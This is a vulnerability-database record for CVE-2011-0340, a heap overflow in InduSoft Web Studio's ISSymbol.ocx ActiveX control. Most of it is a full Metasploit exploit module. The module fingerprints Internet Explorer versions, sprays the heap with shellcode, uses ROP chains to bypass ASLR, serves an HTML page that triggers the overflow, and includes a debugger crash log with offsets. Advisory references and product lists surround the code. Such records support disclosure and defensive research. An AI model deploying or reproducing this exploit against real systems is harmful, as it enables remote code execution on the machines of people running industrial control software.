ID

VAR-E-201008-0050


CVE

cve_id:CVE-2011-0340

Trust: 3.0

cve_id:CVE-2010-2974

Trust: 0.3

cve_id:CVE-2011-0488

Trust: 0.3

sources: BID: 42184 // BID: 45783 // BID: 47596 // PACKETSTORM: 118932 // EXPLOIT-DB: 23500 // EDBNET: 45636 // EDBNET: 19939

EDB ID

23500


TITLE

InduSoft Web Studio - 'ISSymbol.ocx InternationalSeparator()' Heap Overflow (Metasploit) - Windows remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 23500

DESCRIPTION

InduSoft Web Studio - 'ISSymbol.ocx InternationalSeparator()' Heap Overflow (Metasploit). CVE-2011-0340CVE-72865 . remote exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 23500

AFFECTED PRODUCTS

vendor:indusoftmodel:web studioscope: - version: -

Trust: 1.0

vendor:indusoftmodel:web studio issymbol.ocx internationalseparatorscope: - version: -

Trust: 0.5

vendor:indusoftmodel:web studioscope:eqversion:6.1

Trust: 0.3

vendor:advantechmodel:indusoftscope:eqversion:6.1

Trust: 0.3

vendor:indusoftmodel:web studio 7.0b2scope: - version: -

Trust: 0.3

vendor:indusoftmodel:thin clientscope:eqversion:7.0

Trust: 0.3

vendor:advantechmodel:studio sp6 buildscope:eqversion:6.161.6.0

Trust: 0.3

vendor:indusoftmodel:web studioscope:neversion:7.0.104

Trust: 0.3

vendor:advantechmodel:studioscope:neversion:7.0

Trust: 0.3

sources: BID: 45783 // BID: 47596 // PACKETSTORM: 118932 // EXPLOIT-DB: 23500

EXPLOIT

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "9.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => NormalRanking,
:classid => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}",
:method => "InternationalSeparator"
})

def initialize(info={})
super(update_info(info,
'Name' => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow",
'Description' => %q{
This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00
SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long
string argument for the InternationalSeparator() method of the ISSymbol control.
This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', # Vulnerability discovery
'Dmitriy Pletnev', # Vulnerability discovery
'James Fitts', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2011-0340' ],
[ 'OSVDB', '72865' ],
[ 'BID', '47596' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ],
[ 'URL', 'http://secunia.com/secunia_research/2011-37/' ]
],
'Payload' =>
{
'Space' => 934,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ]
],
'Privileged' => false,
'DisclosureDate' => "Apr 28 2012",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end

return nil
end

def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

# Land the payload at 0x0c0c0c0c
case my_target
when targets[7]
# IE 9 on Windows 7
js = %Q|
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}

function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}

var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_random_nops}");
while (nops.length < 0x80000) nops += nops;
var offset_length = #{my_target['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
|

else
# For IE 6, 7, 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|

end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

return js
end

def get_payload(t, cli)
code = payload.encoded

# No rop. Just return the payload.
if t['Rop'].nil?
prepend = [
0x0c0c0c0c,
0x0c0c0c0c,
0x0c0c0c0c,
0x0c0c0c0c,
0x0c0c0c0c,
0x0c0c0c0c,
0x0c0c0c28 # Will finally become EIP
].pack("V*")
return prepend + code
end

# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
stack_pivot = [
0x0c0c0c0c, # ret from msvcrt.dll
0x77c15ed6, # ret from msvcrt.dll
0x77c15ed6, # ret from msvcrt.dll
0x77c15ed6, # ret from msvcrt.dll
0x77c15ed6, # ret from msvcrt.dll
0x77c1f519, # pop # ret from msvcrt.dll
0x77c4fa1a # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll
].pack("V*")
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
else
print_status("Using JRE ROP")
stack_pivot = [
0x0c0c0c0c, # ret from msvcr71.dll
0x7c376fff, # ret from msvcr71.dll
0x7c376fff, # ret from msvcr71.dll
0x7c376fff, # ret from msvcr71.dll
0x7c376fff, # ret from msvcr71.dll
0x7c376ffe, # pop # ret from msvcr71.dll
0x7c376ffc # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll
].pack("V*")
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
end

return rop_payload
end

def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)

# ActiveX parameters
clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f"
name = rand_text_alpha(rand(50) + 1 )
boom = Rex::Text.to_unescape("\x0c" * 6888)

html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object classid='clsid:#{clsid}' id='#{name}'></object>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script language='javascript'>
#{name}.InternationalSeparator(unescape("#{boom}"));
</script>
</body></html>
|

return html
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end

=begin
eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796
eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
ISSymbol!DllUnregisterServer+0xc9e2:
100127d2 8b01 mov eax,dword ptr [ecx] ds:0023:336b4632=????????
0:000> u eip
ISSymbol!DllUnregisterServer+0xc9e2:
100127d2 8b01 mov eax,dword ptr [ecx]
100127d4 8b5018 mov edx,dword ptr [eax+18h]
100127d7 ffe2 jmp edx
100127d9 cc int 3
100127da cc int 3
100127db cc int 3
100127dc cc int 3
100127dd cc int 3

* ebx
$ ruby pattern_offset.rb 41306941 6888
[*] Exact match at offset 240

* ecx
$ ruby pattern_offset.rb 336b4632 6888
[*] Exact match at offset 4208

=end

Trust: 1.0

sources: EXPLOIT-DB: 23500

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 23500

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 23500

TYPE

'ISSymbol.ocx InternationalSeparator()' Heap Overflow (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 23500

TAGS

tag:Metasploit Framework (MSF)

Trust: 1.0

tag:exploit

Trust: 0.5

tag:java

Trust: 0.5

tag:web

Trust: 0.5

tag:overflow

Trust: 0.5

sources: PACKETSTORM: 118932 // EXPLOIT-DB: 23500

CREDITS

Metasploit

Trust: 0.6

sources: EXPLOIT-DB: 23500

EXTERNAL IDS

db:ZDIid:ZDI-12-168

Trust: 3.3

db:NVDid:CVE-2011-0340

Trust: 3.0

db:EXPLOIT-DBid:23500

Trust: 1.6

db:ICS CERT ALERTid:ICS-ALERT-11-230-01

Trust: 0.9

db:EDBNETid:61039

Trust: 0.6

db:EDBNETid:45636

Trust: 0.6

db:0DAYTODAYid:20004

Trust: 0.6

db:EDBNETid:19939

Trust: 0.6

db:PACKETSTORMid:118932

Trust: 0.5

db:CERT/CCid:VU#703189

Trust: 0.3

db:NVDid:CVE-2010-2974

Trust: 0.3

db:BIDid:42184

Trust: 0.3

db:CERT/CCid:VU#506864

Trust: 0.3

db:NVDid:CVE-2011-0488

Trust: 0.3

db:BIDid:45783

Trust: 0.3

db:ICS CERTid:ICSA-12-137-02

Trust: 0.3

db:BIDid:47596

Trust: 0.3

sources: BID: 42184 // BID: 45783 // BID: 47596 // PACKETSTORM: 118932 // EXPLOIT-DB: 23500 // EDBNET: 61039 // EDBNET: 45636 // EDBNET: 19939

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2011-0340

Trust: 2.7

url:http://www.zerodayinitiative.com/advisories/zdi-12-168/

Trust: 1.0

url:http://www.us-cert.gov/control_systems/pdf/ics-alert-11-230-01.pdf

Trust: 0.9

url:https://www.intelligentexploit.com

Trust: 0.6

url:https://www.exploit-db.com/exploits/23500/

Trust: 0.6

url:https://0day.today/exploits/20004

Trust: 0.6

url:http://support.microsoft.com/kb/240797

Trust: 0.3

url:http://www.pacwest.wonderware.com/web/news/newsdetails.aspx?newsid=203108

Trust: 0.3

url:http://www.kb.cert.org/vuls/id/703189

Trust: 0.3

url:http://www.kb.cert.org/vuls/id/506864

Trust: 0.3

url:http://www.indusoft.com/mainpage.php?aricleid=17&type=certified/hardware

Trust: 0.3

url:http://www.us-cert.gov/control_systems/pdf/icsa-12-137-02.pdf

Trust: 0.3

url:http://www.advantech.com/products/advantech-studio/mod_3d1b45b0-b0af-405c-a9cc-a27b35774634.aspx

Trust: 0.3

url:http://www.indusoft.com/hotfixes/hotfixes.php

Trust: 0.3

url:http://www.indusoft.com/indusoftart.php?catid=1&name=iws/webstudio

Trust: 0.3

url:http://secunia.com/secunia_research/2011-37/

Trust: 0.3

sources: BID: 42184 // BID: 45783 // BID: 47596 // PACKETSTORM: 118932 // EXPLOIT-DB: 23500 // EDBNET: 61039 // EDBNET: 45636 // EDBNET: 19939

SOURCES

db:BIDid:42184
db:BIDid:45783
db:BIDid:47596
db:PACKETSTORMid:118932
db:EXPLOIT-DBid:23500
db:EDBNETid:61039
db:EDBNETid:45636
db:EDBNETid:19939

LAST UPDATE DATE

2022-07-27T09:25:19.174000+00:00


SOURCES UPDATE DATE

db:BIDid:42184date:2011-08-19T17:10:00
db:BIDid:45783date:2011-08-19T17:10:00
db:BIDid:47596date:2013-04-02T15:57:00

SOURCES RELEASE DATE

db:BIDid:42184date:2010-08-04T00:00:00
db:BIDid:45783date:2011-01-12T00:00:00
db:BIDid:47596date:2011-04-27T00:00:00
db:PACKETSTORMid:118932date:2012-12-19T06:24:20
db:EXPLOIT-DBid:23500date:2012-12-20T00:00:00
db:EDBNETid:61039date:2012-09-18T00:00:00
db:EDBNETid:45636date:2012-12-20T00:00:00
db:EDBNETid:19939date:2012-12-19T00:00:00